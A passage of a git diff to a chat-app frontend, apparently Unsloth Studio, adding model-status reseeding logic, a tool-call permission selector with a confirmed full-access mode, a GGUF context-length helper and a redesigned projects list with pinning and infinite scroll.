     loadedIsMultimodal: isMultimodalResponse(status),
     loadedIsDiffusion: status.is_diffusion ?? false,
     specFallbackReason: status.spec_fallback_reason ?? null,
+    // The spec / KV seeds share the GPU-fields reseed mechanism below: a
+    // non-GGUF status leaves their loaded baselines null, so the "unseeded"
+    // guard re-fires every refresh -- hold them too while a staged pick's
+    // settings are being edited, or the refresh resets the staged edit.
+    // hydratingExistingModel reopens every load-param seed: when the active
+    // model changed underneath this tab (auto-switch, another client), the
+    // old model's baselines are stale and must adopt the new status.
     ...(seedLoadParams &&
-      prevState.loadedSpeculativeType === null && {
+      (prevState.loadedSpeculativeType === null || hydratingExistingModel) && {
         speculativeType: currentSpecType,
         loadedSpeculativeType: currentSpecType,
       }),
     ...(seedLoadParams &&
       status.spec_draft_n_max !== undefined &&
-      prevState.loadedSpecDraftNMax === null &&
-      prevState.specDraftNMax === null && {
+      (hydratingExistingModel ||
+        (prevState.loadedSpecDraftNMax === null &&
+          prevState.specDraftNMax === null)) && {
         specDraftNMax: status.spec_draft_n_max ?? null,
         loadedSpecDraftNMax: status.spec_draft_n_max ?? null,
       }),
     ...(seedLoadParams &&
       status.cache_type_kv !== undefined &&
-      prevState.loadedKvCacheDtype === null && {
+      (prevState.loadedKvCacheDtype === null || hydratingExistingModel) && {
         kvCacheDtype: status.cache_type_kv,
         loadedKvCacheDtype: status.cache_type_kv,
       }),
     ...(seedLoadParams &&
       status.tensor_parallel !== undefined &&
-      prevState.loadedTensorParallel === null && {
+      (prevState.loadedTensorParallel === null || hydratingExistingModel) && {
         tensorParallel: status.tensor_parallel,
         loadedTensorParallel: status.tensor_parallel,
       }),
+    // Re-seed on first hydration, model/variant changes, or a same-model backend
+    // placement change. gpuStatusFields preserves dirty local edits in the last
+    // case while advancing their loaded baselines.
+    ...(seedLoadParams &&
+      (prevState.loadedGpuMemoryMode === null ||
+        hydratingExistingModel ||
+        gpuStatusChanged) &&
+      gpuStatusFields),
     ...(status.chat_template_override !== undefined &&
       prevState.loadedChatTemplateOverride === null &&
       prevState.chatTemplateOverride === null && {
@@ -245,7 +347,7 @@ export function applyActiveModelStatusToStore(
     const mid = checkpointId.toLowerCase();
     if (mid.includes("qwen3.5") || mid.includes("qwen3.6")) {
       const sizeMatch = mid.match(/(\d+\.?\d*)\s*b/);
-      if (sizeMatch && parseFloat(sizeMatch[1]) < 9) {
+      if (sizeMatch && Number.parseFloat(sizeMatch[1]) < 9) {
         reasoningDefault = false;
       }
     }
@@ -281,12 +383,15 @@ export async function tryAdoptServerActiveModel(): Promise<boolean> {
   }
 
   // Re-check after the await: keep a checkpoint the user picked meanwhile.
-  const previousCheckpoint =
-    useChatRuntimeStore.getState().params.checkpoint;
+  const previousCheckpoint = useChatRuntimeStore.getState().params.checkpoint;
   if (previousCheckpoint) {
     return true;
   }
+  const previousGgufVariant = useChatRuntimeStore.getState().activeGgufVariant;
   store.setCheckpoint(checkpointId, status.gguf_variant);
-  applyActiveModelStatusToStore(status, { previousCheckpoint });
+  applyActiveModelStatusToStore(status, {
+    previousCheckpoint,
+    previousGgufVariant,
+  });
   return true;
 }
diff --git a/studio/frontend/src/features/chat/lib/friendly-names.ts b/studio/frontend/src/features/chat/lib/friendly-names.ts
index 79744b3181..bc9c77b12d 100644
--- a/studio/frontend/src/features/chat/lib/friendly-names.ts
+++ b/studio/frontend/src/features/chat/lib/friendly-names.ts
@@ -5,7 +5,7 @@
  * Friendly default names for auto-created OpenAI shell containers, used by the
  * chat-adapter's lazy-create path (Code pill on, no thread container, non-default
  * TTL). Goal: a memorable label like "otter" instead of "chat-abc12345"; users
- * can still rename via the Studio alias map.
+ * can still rename via the Unsloth alias map.
  *
  * The list is curated to be unambiguous, non-offensive nouns from natural
  * categories (animals, plants, geography, materials, weather), avoid
diff --git a/studio/frontend/src/features/chat/permission-mode-select.tsx b/studio/frontend/src/features/chat/permission-mode-select.tsx
new file mode 100644
index 0000000000..f3e1594795
--- /dev/null
+++ b/studio/frontend/src/features/chat/permission-mode-select.tsx
@@ -0,0 +1,308 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  ChevronDown,
+  CircleAlert,
+  CircleOff,
+  Hand,
+  ShieldCheck,
+} from "lucide-react";
+import { useState } from "react";
+
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from "@/components/ui/alert-dialog";
+import { Button } from "@/components/ui/button";
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuLabel,
+  DropdownMenuTrigger,
+} from "@/components/ui/dropdown-menu";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
+import { Tick02Icon } from "@/lib/tick-icon";
+import { cn } from "@/lib/utils";
+import { HugeiconsIcon } from "@hugeicons/react";
+import {
+  type PermissionMode,
+  useChatRuntimeStore,
+} from "./stores/chat-runtime-store";
+
+/**
+ * Permission levels for tool calls. Full access stays last because it disables
+ * both approval prompts and the code sandbox.
+ */
+export const PERMISSION_MODE_OPTIONS: readonly {
+  value: PermissionMode;
+  label: string;
+  description: string;
+  icon: typeof Hand;
+}[] = [
+  {
+    value: "ask",
+    label: "Ask for approval",
+    description: "Always ask before tool calls edit files or use the internet",
+    icon: Hand,
+  },
+  {
+    value: "auto",
+    label: "Approve for me",
+    description: "Only ask for actions detected as potentially unsafe",
+    icon: ShieldCheck,
+  },
+  {
+    value: "off",
+    label: "Run automatically",
+    description: "Run tool calls without approval prompts inside the sandbox",
+    icon: CircleOff,
+  },
+  {
+    value: "full",
+    label: "Full access",
+    description:
+      "Unrestricted: no approval prompts and the code sandbox is disabled",
+    icon: CircleAlert,
+  },
+] as const;
+
+export const FULL_ACCESS_WARNING =
+  "Full access lets tool calls run without approval prompts or the code sandbox. They can modify or delete files, run commands, and make network requests. Enable it only when you trust the current task.";
+
+export function permissionModeOption(mode: PermissionMode) {
+  return (
+    PERMISSION_MODE_OPTIONS.find((option) => option.value === mode) ??
+    PERMISSION_MODE_OPTIONS[0]
+  );
+}
+
+/** The option rows shared by every permission dropdown/submenu. Non-full
+ *  levels apply directly; picking Full access must go through the caller's
+ *  danger confirmation, so it's a separate callback. */
+export function PermissionModeMenuItems({
+  onRequestFullAccess,
+}: {
+  onRequestFullAccess: () => void;
+}) {
+  const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
+  const setPermissionMode = useChatRuntimeStore((s) => s.setPermissionMode);
+
+  return (
+    <>
+      {PERMISSION_MODE_OPTIONS.map((option) => (
+        <DropdownMenuItem
+          key={option.value}
+          onSelect={() => {
+            if (option.value === permissionMode) {
+              return;
+            }
+            if (option.value === "full") {
+              onRequestFullAccess();
+            } else {
+              setPermissionMode(option.value);
+            }
+          }}
+          className={cn(
+            "items-start gap-2 py-2",
+            permissionMode === option.value && "font-medium",
+            option.value === "full" &&
+              permissionMode === "full" &&
+              "text-bypass",
+          )}
+        >
+          <option.icon className="mt-0.5 size-4 shrink-0" strokeWidth={2} />
+          <span className="flex min-w-0 flex-1 flex-col gap-0.5">
+            <span className="text-ui-13 leading-tight">{option.label}</span>
+            <span className="text-xs font-normal leading-snug text-muted-foreground">
+              {option.description}
+            </span>
+          </span>
+          {permissionMode === option.value ? (
+            <HugeiconsIcon
+              icon={Tick02Icon}
+              strokeWidth={2}
+              className="ml-auto mt-0.5 size-4 shrink-0"
+            />
+          ) : null}
+        </DropdownMenuItem>
+      ))}
+    </>
+  );
+}
+
+/** Danger confirmation shown before Full access turns on. Self-contained so
+ *  the dropdown works outside the chat page (e.g. the Settings dialog). */
+export function FullAccessConfirmDialog({
+  open,
+  onOpenChange,
+}: {
+  open: boolean;
+  onOpenChange: (open: boolean) => void;
+}) {
+  const setPermissionMode = useChatRuntimeStore((s) => s.setPermissionMode);
+
+  return (
+    <AlertDialog open={open} onOpenChange={onOpenChange}>
+      <AlertDialogContent size="sm">
+        <AlertDialogHeader>
+          <AlertDialogTitle>Enable Full access?</AlertDialogTitle>
+          <AlertDialogDescription>
+            {FULL_ACCESS_WARNING}
+          </AlertDialogDescription>
+        </AlertDialogHeader>
+        <AlertDialogFooter>
+          <AlertDialogCancel>Cancel</AlertDialogCancel>
+          <AlertDialogAction
+            variant="destructive"
+            className="!bg-destructive !text-destructive-foreground hover:!bg-destructive/90"
+            onClick={() => {
+              setPermissionMode("full");
+              onOpenChange(false);
+            }}
+          >
+            I understand
+          </AlertDialogAction>
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  );
+}
+
+/**
+ * Select-style dropdown (like the MCP composer menu) for picking the
+ * permission level. Used in General settings and the chat settings sheet.
+ */
+export function PermissionModeDropdown({
+  side = "bottom",
+  align = "end",
+  triggerClassName,
+}: {
+  side?: "top" | "bottom";
+  align?: "start" | "end";
+  triggerClassName?: string;
+} = {}) {
+  const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
+  const [confirmOpen, setConfirmOpen] = useState(false);
+  const active = permissionModeOption(permissionMode);
+  const ActiveIcon = active.icon;
+
+  return (
+    <>
+      <DropdownMenu>
+        <DropdownMenuTrigger asChild={true}>
+          <Button
+            variant="outline"
+            size="sm"
+            className={cn(
+              "gap-1.5",
+              triggerClassName,
+              // Last so a text color in triggerClassName cannot override it.
+              permissionMode === "full" &&
+                "text-bypass hover:text-bypass border-bypass/50",
+            )}
+            aria-label="Permission level for tool calls"
+          >
+            <ActiveIcon className="size-3.5 shrink-0" strokeWidth={2} />
+            <span className="min-w-0 flex-1 truncate text-left">
+              {active.label}
+            </span>
+            <ChevronDown className="size-3.5 shrink-0 opacity-60" />
+          </Button>
+        </DropdownMenuTrigger>
+        <DropdownMenuContent
+          side={side}
+          align={align}
+          className="w-[300px]"
+          avoidCollisions={true}
+        >
+          <DropdownMenuLabel>
+            How should tool calls be approved?
+          </DropdownMenuLabel>
+          <PermissionModeMenuItems
+            // Defer past the menu-close focus restoration so the dialog's
+            // focus trap isn't broken by the dropdown grabbing focus back.
+            onRequestFullAccess={() =>
+              setTimeout(() => setConfirmOpen(true), 0)
+            }
+          />
+        </DropdownMenuContent>
+      </DropdownMenu>
+      <FullAccessConfirmDialog
+        open={confirmOpen}
+        onOpenChange={setConfirmOpen}
+      />
+    </>
+  );
+}
+
+/**
+ * Composer pill (mirrors the MCP pill) showing the current permission level
+ * in the chat box; clicking opens the level dropdown. Danger-styled while
+ * Full access is on. The Full access pick routes through the store-driven
+ * BypassPermissionsConfirmDialog mounted at the chat-page root, so the
+ * warning survives this menu unmounting.
+ */
+export function PermissionModeComposerPill({
+  side = "bottom",
+}: {
+  side?: "top" | "bottom";
+} = {}) {
+  const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
+  const setBypassConfirmOpen = useChatRuntimeStore(
+    (s) => s.setBypassConfirmOpen,
+  );
+  const active = permissionModeOption(permissionMode);
+  const ActiveIcon = active.icon;
+  const fullAccess = permissionMode === "full";
+
+  return (
+    <DropdownMenu>
+      <DropdownMenuTrigger asChild={true}>
+        <button
+          type="button"
+          className="composer-pill-btn composer-pill-permissions"
+          data-pill-label={active.label}
+          data-active={fullAccess ? "true" : "false"}
+          data-variant={fullAccess ? "danger" : undefined}
+          aria-label="Permission level for tool calls"
+          title={`${active.label}: ${active.description}`}
+        >
+          <span className="composer-pill-glyph">
+            <ActiveIcon className="size-[15px]" strokeWidth={2} />
+          </span>
+          <span>{active.label}</span>
+          <HugeiconsIcon
+            icon={ChevronDownStandardIcon}
+            strokeWidth={1.5}
+            className="composer-pill-caret size-[15px]"
+          />
+        </button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent
+        side={side}
+        align="start"
+        sideOffset={0}
+        avoidCollisions={true}
+        className="unsloth-plus-menu w-[300px]"
+      >
+        <DropdownMenuLabel>
+          How should tool calls be approved?
+        </DropdownMenuLabel>
+        <PermissionModeMenuItems
+          // Defer past the menu-close focus restoration (see PermissionModeDropdown).
+          onRequestFullAccess={() =>
+            setTimeout(() => setBypassConfirmOpen(true), 0)
+          }
+        />
+      </DropdownMenuContent>
+    </DropdownMenu>
+  );
+}
diff --git a/studio/frontend/src/features/chat/presets/preset-policy.ts b/studio/frontend/src/features/chat/presets/preset-policy.ts
index f96ee91f1b..23d79a35e1 100644
--- a/studio/frontend/src/features/chat/presets/preset-policy.ts
+++ b/studio/frontend/src/features/chat/presets/preset-policy.ts
@@ -339,3 +339,34 @@ export function resolveLoadMaxSeqLength({
   }
   return maxSeqLength;
 }
+
+/**
+ * Adjust a resolved max-seq-length for the GPU Memory mode. Under Manual + Auto
+ * layers (GGUF, gpuLayers < 0) llama.cpp's --fit owns context sizing, so send 0
+ * (the backend omits -c) unless the user pinned a length; every other case keeps
+ * the resolved fallback. Shared by every GGUF load path so they can't drift.
+ */
+export function resolveFitMaxSeqLength(
+  isGguf: boolean | null | undefined,
+  gpuMemoryMode: "auto" | "manual",
+  gpuLayers: number,
+  customContextLength: number | null,
+  fallback: number,
+): number {
+  if (!isGguf || gpuMemoryMode !== "manual" || gpuLayers >= 0) return fallback;
+  return customContextLength && customContextLength > 0 ? customContextLength : 0;
+}
+
+// A Manual + Auto-layers load sends its positive context pin as max_seq_length;
+// keep it across a status reseed/Apply so the model isn't reverted to auto-fit
+// sizing. Anything else (Auto mode, pinned layers, no pin) baselines to null.
+// The caller keeps its own isGguf/targetIsGguf guard inline.
+export function resolveManualAutoCtxPin(
+  gpuMemoryMode: "auto" | "manual",
+  gpuLayers: number,
+  customContextLength: number | null,
+): number | null {
+  return gpuMemoryMode === "manual" && gpuLayers < 0 && (customContextLength ?? 0) > 0
+    ? customContextLength
+    : null;
+}
diff --git a/studio/frontend/src/features/chat/projects-page.tsx b/studio/frontend/src/features/chat/projects-page.tsx
index b9a5658a96..e20e517787 100644
--- a/studio/frontend/src/features/chat/projects-page.tsx
+++ b/studio/frontend/src/features/chat/projects-page.tsx
@@ -30,6 +30,8 @@ import {
   SelectTrigger,
   SelectValue,
 } from "@/components/ui/select";
+import { isTauri } from "@/lib/api-base";
+import { isDownloadCancelled, pickNativeChatImport } from "@/lib/native-files";
 import { toast } from "@/lib/toast";
 import {
   createChatProject,
@@ -37,6 +39,7 @@ import {
   renameChatProject,
   useChatProjects,
   useChatRuntimeStore,
+  usePinnedProjectsStore,
   type ProjectRecord,
 } from "@/features/chat";
 import {
@@ -45,13 +48,15 @@ import {
   Edit03Icon,
   Folder02Icon,
   FolderAddIcon,
+  PinIcon,
+  PinOffIcon,
   Search01Icon,
   Upload01Icon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { MoreHorizontalIcon } from "lucide-react";
 import { useNavigate } from "@tanstack/react-router";
-import { useMemo, useRef, useState } from "react";
+import { useEffect, useMemo, useRef, useState } from "react";
 import {
   exportProjectConversations,
   exportBulkConversationsMerged,
@@ -66,21 +71,38 @@ import {
 
 type SortMode = "activity" | "name";
 
-function formatUpdatedAgo(ts: number): string {
-  const diff = Date.now() - ts;
-  if (!Number.isFinite(diff) || diff < 0) return "just now";
-  const s = Math.floor(diff / 1000);
-  if (s < 60) return "just now";
-  const m = Math.floor(s / 60);
-  if (m < 60) return `${m} minute${m === 1 ? "" : "s"} ago`;
-  const h = Math.floor(m / 60);
-  if (h < 24) return `${h} hour${h === 1 ? "" : "s"} ago`;
-  const d = Math.floor(h / 24);
-  if (d < 30) return `${d} day${d === 1 ? "" : "s"} ago`;
-  const mo = Math.floor(d / 30);
-  if (mo < 12) return `${mo} month${mo === 1 ? "" : "s"} ago`;
-  const y = Math.floor(mo / 12);
-  return `${y} year${y === 1 ? "" : "s"} ago`;
+// Reveal this many more projects each time the user scrolls near the bottom.
+const PROJECTS_PAGE_STEP = 12;
+// Visible count before the fit-to-height measurement runs.
+const PROJECTS_INITIAL_FALLBACK = 8;
+// Approx list row height in px, used to estimate how many rows fit the page.
+const PROJECTS_ROW_HEIGHT = 68;
+
+// Modified column, matching a file-list feel: Today / Yesterday / N days ago,
+// then a short date once it is over a week old.
+function formatModified(ts: number): string {
+  if (!Number.isFinite(ts)) return "";
+  const now = new Date();
+  const then = new Date(ts);
+  const startOfToday = new Date(
+    now.getFullYear(),
+    now.getMonth(),
+    now.getDate(),
+  ).getTime();
+  const startOfThen = new Date(
+    then.getFullYear(),
+    then.getMonth(),
+    then.getDate(),
+  ).getTime();
+  const dayDiff = Math.round((startOfToday - startOfThen) / 86_400_000);
+  if (dayDiff <= 0) return "Today";
+  if (dayDiff === 1) return "Yesterday";
+  if (dayDiff < 7) return `${dayDiff} days ago`;
+  return then.toLocaleDateString(undefined, {
+    month: "short",
+    day: "numeric",
+    year: then.getFullYear() === now.getFullYear() ? undefined : "numeric",
+  });
 }
 
 export function ProjectsPage() {
@@ -89,6 +111,17 @@ export function ProjectsPage() {
 
   const [query, setQuery] = useState("");
   const [sortMode, setSortMode] = useState<SortMode>("activity");
+  // Rows that fit the page height (measured), plus any revealed via Show more.
+  const [baseFit, setBaseFit] = useState(PROJECTS_INITIAL_FALLBACK);
+  const [extraCount, setExtraCount] = useState(0);
+  const listRef = useRef<HTMLDivElement>(null);
+  const sentinelRef = useRef<HTMLDivElement>(null);
+  const pinnedProjectIds = usePinnedProjectsStore((s) => s.pinnedIds);
+  const togglePinProject = usePinnedProjectsStore((s) => s.togglePin);
+  const pinnedProjectIdSet = useMemo(
+    () => new Set(pinnedProjectIds),
+    [pinnedProjectIds],
+  );
 
   const [creating, setCreating] = useState(false);
   const [nameDraft, setNameDraft] = useState("");
@@ -118,6 +151,40 @@ export function ProjectsPage() {
     }
   }
 
+
+  async function selectGlobalImportFile() {
+    if (!isTauri) {
+      globalImportRef.current?.click();
+      return;
+    }
+    try {
+      const selected = await pickNativeChatImport();
+      if (!selected) return;
+      setImportTargetId(projects[0]?.id ?? null);
+      setImportFile(new File([selected.content], selected.name));
+    } catch (error) {
+      toast.error("Import failed.", {
+        description: error instanceof Error ? error.message : String(error),
+      });
+    }
+  }
+
+  async function selectProjectImportFile(projectId: string) {
+    if (!isTauri) {
+      projectImportRefs.current.get(projectId)?.click();
+      return;
+    }
+    try {
+      const selected = await pickNativeChatImport();
+      if (!selected) return;
+      await handleImport(new File([selected.content], selected.name), projectId);
+    } catch (error) {
+      toast.error("Import failed.", {
+        description: error instanceof Error ? error.message : String(error),
+      });
+    }
+  }
+
   async function commitImport() {
     if (!importFile) return;
     const file = importFile;
@@ -126,7 +193,7 @@ export function ProjectsPage() {
     await handleImport(file, target);
   }
 
-  const visibleProjects = useMemo(() => {
+  const sortedProjects = useMemo(() => {
     const trimmed = query.trim().toLowerCase();
     const filtered = trimmed
       ? projects.filter((p) => p.name.toLowerCase().includes(trimmed))
@@ -138,6 +205,51 @@ export function ProjectsPage() {
     );
     return filtered;
   }, [projects, query, sortMode]);
+  // Default view shows as many rows as fit the page, then loads more as the
+  // user scrolls near the bottom. Search always spans every project.
+  const isSearching = query.trim() !== "";
+  const visibleCount = baseFit + extraCount;
+  const visibleProjects = isSearching
+    ? sortedProjects
+    : sortedProjects.slice(0, visibleCount);
+  const hasMore = !isSearching && sortedProjects.length > visibleCount;
+
+  // Estimate how many rows fit below the list's top so the first page fills the
+  // screen without loading everything up front.
+  useEffect(() => {
+    function measure() {
+      const el = listRef.current;
+      if (!el) return;
+      const top = el.getBoundingClientRect().top;
+      const reserve = 24; // bottom breathing room
+      const fits = Math.floor(
+        (window.innerHeight - top - reserve) / PROJECTS_ROW_HEIGHT,
+      );
+      setBaseFit(Math.max(PROJECTS_PAGE_STEP, fits));
+    }
+    measure();
+    window.addEventListener("resize", measure);
+    return () => window.removeEventListener("resize", measure);
+  }, [hasLoaded]);
+
+  // Infinite scroll: reveal another page-step whenever the sentinel near the
+  // list bottom scrolls into view.
+  useEffect(() => {
+    const el = sentinelRef.current;
+    if (!el || !hasMore) return;
+    const io = new IntersectionObserver(
+      (entries) => {
+        if (entries[0]?.isIntersecting) {
+          setExtraCount((n) => n + PROJECTS_PAGE_STEP);
+        }
+      },
+      { rootMargin: "300px" },
+    );
+    io.observe(el);
+    return () => io.disconnect();
+    // Re-observe after each load so it keeps filling while the sentinel stays
+    // in view (IntersectionObserver does not re-fire on a steady intersection).
+  }, [hasMore, visibleCount]);
 
   function openProject(projectId: string) {
     const runtime = useChatRuntimeStore.getState();
@@ -183,8 +295,10 @@ export function ProjectsPage() {
       const threads = await listStoredChatThreads({ projectId: project.id, includeArchived: false });
       const ids = [...new Set(threads.map((t) => t.id))];
       await exportProjectConversations(ids, fmt, project.name);
-    } catch {
-      toast.error("Export failed.");
+    } catch (error) {
+      if (!isDownloadCancelled(error)) {
+        toast.error("Export failed.");
+      }
     }
   }
 
@@ -215,8 +329,10 @@ export function ProjectsPage() {
       } else {
         await exportBulkConversationsSeparate(ids, fmt, basename);
       }
-    } catch {
-      toast.error("Export failed.");
+    } catch (error) {
+      if (!isDownloadCancelled(error)) {
+        toast.error("Export failed.");
+      }
     }
   }
 
@@ -234,7 +350,7 @@ export function ProjectsPage() {
   }
 
   return (
-    <main className="mx-auto w-full max-w-6xl px-6 py-10 font-heading sm:px-10">
+    <main className="mx-auto w-full max-w-5xl px-6 pb-10 pt-16 font-heading sm:px-10">
       {/* Global import file input */}
       <input
         ref={globalImportRef}
@@ -251,7 +367,7 @@ export function ProjectsPage() {
         }}
       />
       <div className="flex flex-wrap items-center justify-between gap-4">
-        <h1 className="text-[30px] font-semibold leading-[1.04] tracking-[-0.028em] text-foreground sm:text-[34px]">
+        <h1 className="text-ui-30 font-semibold leading-[1.04] tracking-[-0.028em] text-foreground sm:text-ui-34">
           Projects
         </h1>
         <div className="flex items-center gap-3">
@@ -294,7 +410,7 @@ export function ProjectsPage() {
               </Button>
             </DropdownMenuTrigger>
             <DropdownMenuContent align="end" className="w-56">
-              <DropdownMenuItem onSelect={() => globalImportRef.current?.click()}>
+              <DropdownMenuItem onSelect={() => void selectGlobalImportFile()}>
                 <HugeiconsIcon icon={Upload01Icon} strokeWidth={1.75} className="size-icon" />
                 Import chats…
               </DropdownMenuItem>
@@ -303,7 +419,7 @@ export function ProjectsPage() {
                 <DropdownMenuSubTrigger>Export All Projects</DropdownMenuSubTrigger>
                 <DropdownMenuSubContent className="w-52">
                   <DropdownMenuGroup>
-                    <DropdownMenuLabel className="pb-1 pt-2 text-[11px] font-medium">
+                    <DropdownMenuLabel className="pb-1 pt-2 text-ui-11 font-medium">
                       Combined
                     </DropdownMenuLabel>
                     {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
@@ -314,7 +430,7 @@ export function ProjectsPage() {
                   </DropdownMenuGroup>
                   <DropdownMenuSeparator />
                   <DropdownMenuGroup>
-                    <DropdownMenuLabel className="pb-1 pt-2 text-[11px] font-medium">
+                    <DropdownMenuLabel className="pb-1 pt-2 text-ui-11 font-medium">
                       Per chat
                     </DropdownMenuLabel>
                     {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
@@ -329,7 +445,7 @@ export function ProjectsPage() {
                 <DropdownMenuSubTrigger>Export Projects + Recents</DropdownMenuSubTrigger>
                 <DropdownMenuSubContent className="w-52">
                   <DropdownMenuGroup>
-                    <DropdownMenuLabel className="pb-1 pt-2 text-[11px] font-medium">
+                    <DropdownMenuLabel className="pb-1 pt-2 text-ui-11 font-medium">
                       Combined
                     </DropdownMenuLabel>
                     {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
@@ -340,7 +456,7 @@ export function ProjectsPage() {
                   </DropdownMenuGroup>
                   <DropdownMenuSeparator />
                   <DropdownMenuGroup>
-                    <DropdownMenuLabel className="pb-1 pt-2 text-[11px] font-medium">
+                    <DropdownMenuLabel className="pb-1 pt-2 text-ui-11 font-medium">
                       Per chat
                     </DropdownMenuLabel>
                     {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
@@ -365,16 +481,22 @@ export function ProjectsPage() {
       </div>
 
       {!hasLoaded ? (
-        <div className="mt-12 grid grid-cols-1 gap-5 sm:grid-cols-2 lg:grid-cols-3">
+        <div className="mt-16">
+          <div className="mb-1 flex items-center gap-3 px-5 pb-1 text-ui-13 font-medium text-muted-foreground">
+            <span className="flex-1">Name</span>
+            <span className="w-40 shrink-0">Modified</span>
+            <span className="w-8 shrink-0" />
+          </div>
           {Array.from({ length: 6 }).map((_, index) => (
             <div
               key={index}
-              className="min-h-[172px] rounded-[26px] bg-card p-6 shadow-[0_2px_12px_-4px_rgba(0,0,0,0.10)] dark:shadow-none"
+              className="flex items-center gap-3 rounded-xl px-5 py-4"
             >
-              <Skeleton className="size-10 rounded-[14px]" />
-              <Skeleton className="mt-4 h-5 w-2/3 rounded-[8px]" />
-              <Skeleton className="mt-2 h-4 w-4/5 rounded-[8px]" />
-              <Skeleton className="mt-8 h-3 w-24 rounded-[8px]" />
+              <Skeleton className="mr-1 size-9 shrink-0 rounded-[10px]" />
+              <Skeleton className="h-4 w-40 rounded-[8px]" />
+              <span className="flex-1" />
+              <Skeleton className="h-4 w-16 rounded-[8px]" />
+              <span className="w-8 shrink-0" />
             </div>
           ))}
         </div>
@@ -400,9 +522,20 @@ export function ProjectsPage() {
           )}
         </div>
       ) : (
-        <div className="mt-12 grid grid-cols-1 gap-5 sm:grid-cols-2 lg:grid-cols-3">
-          {visibleProjects.map((project) => (
-            <div key={`wrap-${project.id}`} className="contents">
+        <>
+        <div className="mt-16">
+          {/* Column header. Name starts at the folder icon's left edge; the
+              right-anchored columns keep Modified over its values. */}
+          <div className="mb-1 flex items-center gap-3 px-5 pb-1 text-ui-13 font-medium text-muted-foreground">
+            <span className="flex-1">Name</span>
+            <span className="w-40 shrink-0">Modified</span>
+            <span className="w-8 shrink-0" />
+          </div>
+          <div ref={listRef}>
+          {visibleProjects.map((project) => {
+            const pinned = pinnedProjectIdSet.has(project.id);
+            return (
+            <div key={`wrap-${project.id}`}>
             <input
               key={`import-${project.id}`}
               type="file"
@@ -429,23 +562,37 @@ export function ProjectsPage() {
                   openProject(project.id);
                 }
               }}
-              className="group/project-card relative flex min-h-[172px] cursor-pointer flex-col rounded-[26px] bg-card p-6 text-left shadow-[0_2px_12px_-4px_rgba(0,0,0,0.10)] transition-colors duration-150 hover:bg-[#f2f2f2] dark:shadow-none dark:hover:bg-accent/30 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+              className="group/project-row relative flex cursor-pointer items-center gap-3 rounded-xl px-5 py-4 text-left transition-colors duration-150 hover:bg-muted/70 dark:hover:bg-white/[0.055] focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
             >
-              <div className="flex items-start justify-between gap-2">
-                <span className="flex size-10 shrink-0 items-center justify-center rounded-[14px] bg-muted text-foreground/70 transition-colors group-hover/project-card:bg-primary/10 group-hover/project-card:text-primary">
-                  <HugeiconsIcon
-                    icon={Folder02Icon}
-                    strokeWidth={1.75}
-                    className="size-5"
-                  />
-                </span>
+              <span className="mr-1 flex size-9 shrink-0 items-center justify-center rounded-[10px] bg-muted text-foreground/70 transition-colors group-hover/project-row:bg-primary/10 group-hover/project-row:text-primary">
+                <HugeiconsIcon
+                  icon={Folder02Icon}
+                  strokeWidth={1.75}
+                  className="size-5"
+                />
+              </span>
+              <span className="min-w-0 flex-1 truncate text-ui-15 font-semibold text-foreground">
+                {project.name}
+              </span>
+              <span className="w-40 shrink-0 text-sm text-muted-foreground">
+                {formatModified(project.updatedAt)}
+              </span>
+              <div className="relative flex w-8 shrink-0 items-center justify-end">
+                {/* Pin fades out and the kebab fades in on hover, focus, or
+                    menu open. Absolute + opacity gating keeps them from
+                    overlapping while leaving the button keyboard-focusable. */}
+                {pinned && (
+                  <span className="text-muted-foreground transition-opacity group-hover/project-row:opacity-0 group-focus-within/project-row:opacity-0 group-has-[[data-state=open]]/project-row:opacity-0">
+                    <HugeiconsIcon icon={PinIcon} strokeWidth={1.75} className="size-4" />
+                  </span>
+                )}
                 <DropdownMenu>
                   <DropdownMenuTrigger asChild>
                     <button
                       type="button"
                       onClick={(e) => e.stopPropagation()}
                       aria-label="Project options"
-                      className="-mr-1 -mt-1 inline-flex size-7 shrink-0 items-center justify-center rounded-full text-muted-foreground opacity-0 transition-opacity hover:bg-black/5 hover:text-foreground dark:hover:bg-white/10 focus-visible:opacity-100 group-hover/project-card:opacity-100 data-[state=open]:bg-black/5 data-[state=open]:opacity-100 dark:data-[state=open]:bg-white/10"
+                      className="absolute right-0 flex size-7 shrink-0 items-center justify-center rounded-full text-muted-foreground opacity-0 transition hover:bg-black/5 hover:text-foreground focus-visible:opacity-100 group-hover/project-row:opacity-100 data-[state=open]:bg-black/5 data-[state=open]:opacity-100 dark:hover:bg-white/10 dark:data-[state=open]:bg-white/10"
                     >
                       <MoreHorizontalIcon strokeWidth={1.75} className="size-icon" />
                     </button>
@@ -458,6 +605,16 @@ export function ProjectsPage() {
                     onKeyDown={(e) => e.stopPropagation()}
                     className="app-user-menu menu-soft-surface menu-flat-destructive ring-0 w-44 py-2 font-heading rounded-[14px] border-0"
                   >
+                    <DropdownMenuItem
+                      onSelect={() => togglePinProject(project.id)}
+                    >
+                      <HugeiconsIcon
+                        icon={pinned ? PinOffIcon : PinIcon}
+                        strokeWidth={1.75}
+                        className="size-icon"
+                      />
+                      <span>{pinned ? "Unpin project" : "Pin project"}</span>
+                    </DropdownMenuItem>
                     <DropdownMenuItem
                       onSelect={() => {
                         setRenameDraft(project.name);
@@ -470,7 +627,7 @@ export function ProjectsPage() {
                     <DropdownMenuItem
                       onSelect={(e) => {
                         e.stopPropagation();
-                        projectImportRefs.current.get(project.id)?.click();
